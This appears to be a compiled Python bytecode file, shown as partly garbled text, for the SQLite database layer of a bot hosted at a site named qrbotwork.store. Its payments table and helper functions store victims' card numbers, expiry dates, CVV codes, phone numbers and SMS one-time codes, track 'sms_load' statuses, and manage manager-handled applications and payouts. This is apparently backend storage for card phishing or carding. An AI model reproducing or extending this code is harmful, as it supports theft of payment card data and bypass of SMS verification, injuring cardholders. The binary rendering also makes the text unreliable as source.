o ;h(@sddlZddlmZdZddZddZdd Zd d Zd d Zd%ddZddZ   d&ddZ  d'ddZ ddZ ddZ ddZd(ddZd d!Zd)d#d$ZdS)*N)datetimezdata.dbcCsXtt}|}|d|d|d|d|d||dS)u0Инициализация базы данныхa CREATE TABLE IF NOT EXISTS users ( user_id INTEGER PRIMARY KEY, username TEXT, first_name TEXT, last_name TEXT, status TEXT DEFAULT 'active', balance REAL DEFAULT 0, zayavki TEXT ) a CREATE TABLE IF NOT EXISTS payments ( user_id INTEGER, id_zayavki INTEGER PRIMARY KEY AUTOINCREMENT, status TEXT DEFAULT 'pending', manager TEXT, date_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP, phone TEXT, summa REAL, qr_code TEXT, link TEXT, card_number TEXT, card_date TEXT, sms_code TEXT, cvv TEXT, FOREIGN KEY(user_id) REFERENCES users(user_id) ) af CREATE TABLE IF NOT EXISTS invoice_payments ( invoice_id INTEGER PRIMARY KEY, user_id INTEGER, amount_rub REAL, amount_usd REAL, status TEXT DEFAULT 'paid', date_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP, FOREIGN KEY(user_id) REFERENCES users(user_id) ) a CREATE TABLE IF NOT EXISTS withdrawals ( user_id INTEGER, id_zayavki INTEGER PRIMARY KEY AUTOINCREMENT, status TEXT DEFAULT 'pending', manager TEXT, date_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP, summa REAL, vivod_rekvizit TEXT, tip TEXT, vivod_name TEXT, FOREIGN KEY(user_id) REFERENCES users(user_id) ) z CREATE TABLE IF NOT EXISTS manager ( user_id INTEGER PRIMARY KEY, name TEXT, status TEXT DEFAULT 'active' ) Nsqlite3connectDB_PATHcursorexecutecommitclose)connrr 0/var/www/www-root/data/www/qrbotwork.store/db.pyinit_dbs     rcCs:tt}|}|d||||f||dS)uCСохранить или обновить пользователяzp INSERT OR IGNORE INTO users (user_id, username, first_name, last_name) VALUES (?, ?, ?, ?) Nr)user_idusername first_name last_namer rr r r save_userUs   rcCs@tt}|}|d|f|}||r|dSdS)u6Получить баланс пользователяz+SELECT balance FROM users WHERE user_id = ?rgrrrrrfetchoner )rr rresultr r r get_user_balancebs rcCs^tt}|}|d|f|s|d||fn|d||f||dS)u8Пополнить баланс пользователяz+SELECT user_id FROM users WHERE user_id = ?z2INSERT INTO users (user_id, balance) VALUES (?, ?)zN UPDATE users SET balance = balance + ? WHERE user_id = ? N)rrrrrrr r )ramountr rr r r update_user_balancems  rcCs<tt}|}|d|f|ddk}||S)uFПроверить, был ли инвойс уже обработанz:SELECT COUNT(*) FROM invoice_payments WHERE invoice_id = ?rr) invoice_idr rrr r r is_invoice_processeds rc Csz&tt}|}td}|d|||||f|| WdStj y1YdSt yJ}zt d|WYd}~dSd}~ww)uTСохранить информацию об обработанном инвойсе%Y-%m-%d %H:%M:%Sz INSERT INTO invoice_payments (invoice_id, user_id, amount_rub, amount_usd, status, date_time) VALUES (?, ?, ?, ?, 'paid', ?) TFu#Ошибка save_invoice_payment: N) rrrrrnowstrftimerr r IntegrityError Exceptionprint)rr amount_rub amount_usdr r date_timeer r r save_invoice_payments"  r&cC4tt}|}|d|f|}||S)uuПолучить все пополнения баланса через инвойсы для пользователяz SELECT invoice_id, amount_rub, amount_usd, date_time FROM invoice_payments WHERE user_id = ? ORDER BY date_time DESC rrrrrfetchallr rr rpaymentsr r r get_user_invoice_paymentss r,pendingc Csz2tt} | }|durtd}|d|||||||||| | | | f | | WdSt yL}zt d|WYd}~dSd}~ww)uFСохранить информацию о платеже/заявкеNrz INSERT INTO payments (user_id, id_zayavki, status, date_time, phone, summa, manager, qr_code, link, card_number, card_date, sms_code, cvv) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) TuОшибка save_payment: F rrrrrrrrr r r r!)r id_zayavkistatusr$phonesummamanagerqr_codelink card_number card_datesms_codecvvr rr%r r r save_payments$  r;c Csz.tt} | } |durtd}| d|||||||||f | | WdSt yH} zt d| WYd} ~ dSd} ~ ww)uFСохранить информацию о выводе средствNrz INSERT INTO withdrawals (user_id, id_zayavki, status, manager, date_time, summa, vivod_rekvizit, tip, vivod_name) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) TuОшибка save_withdrawal: Fr/) rr0r1r4r$r3vivod_rekvizittip vivod_namer rr%r r r save_withdrawals  r?cCr')u?Получить все платежи пользователяz@SELECT * FROM payments WHERE user_id = ? ORDER BY date_time DESCr(r*r r r get_user_payments r@cCr')u=Получить все выводы пользователяzCSELECT * FROM withdrawals WHERE user_id = ? ORDER BY date_time DESCr()rr r withdrawalsr r r get_user_withdrawalsrArCcCs6tt}|}|d||f||dS)u,Обновить статус платежаz3UPDATE payments SET status = ? WHERE id_zayavki = ?Nr)r0r1r rr r r update_payment_statuss  rDcCsNtt}|}|r|d|||fn|d||f||dS)u*Обновить статус выводаzCUPDATE withdrawals SET status = ?, manager = ? WHERE id_zayavki = ?z6UPDATE withdrawals SET status = ? WHERE id_zayavki = ?Nr)r0r1r4r rr r r update_withdrawal_statuss  rEcCsDtt}|}|d|||f|}||r |dSdS)uFПолучить платёж по номеру и дате картыz SELECT id_zayavki FROM payments WHERE user_id = ? AND card_number = ? AND card_date = ? AND status = 'true' LIMIT 1 rNr)rr7r8r rrr r r get_payment_by_cards rFsms_loadcCs8tt}|}|d|||f||dS)uFОбновить SMS-код в существующем платежеzO UPDATE payments SET status = ?, sms_code = ? WHERE id_zayavki = ? Nr)r0r9r1r rr r r update_payment_sms"s  rH)r) Nr-Nr.rr.r.r.r.r.r.r.)Nr-NNrr.r.r.)N)r.rG)rrrrrrrrr&r,r;r?r@rCrDrErFrHr r r r s. O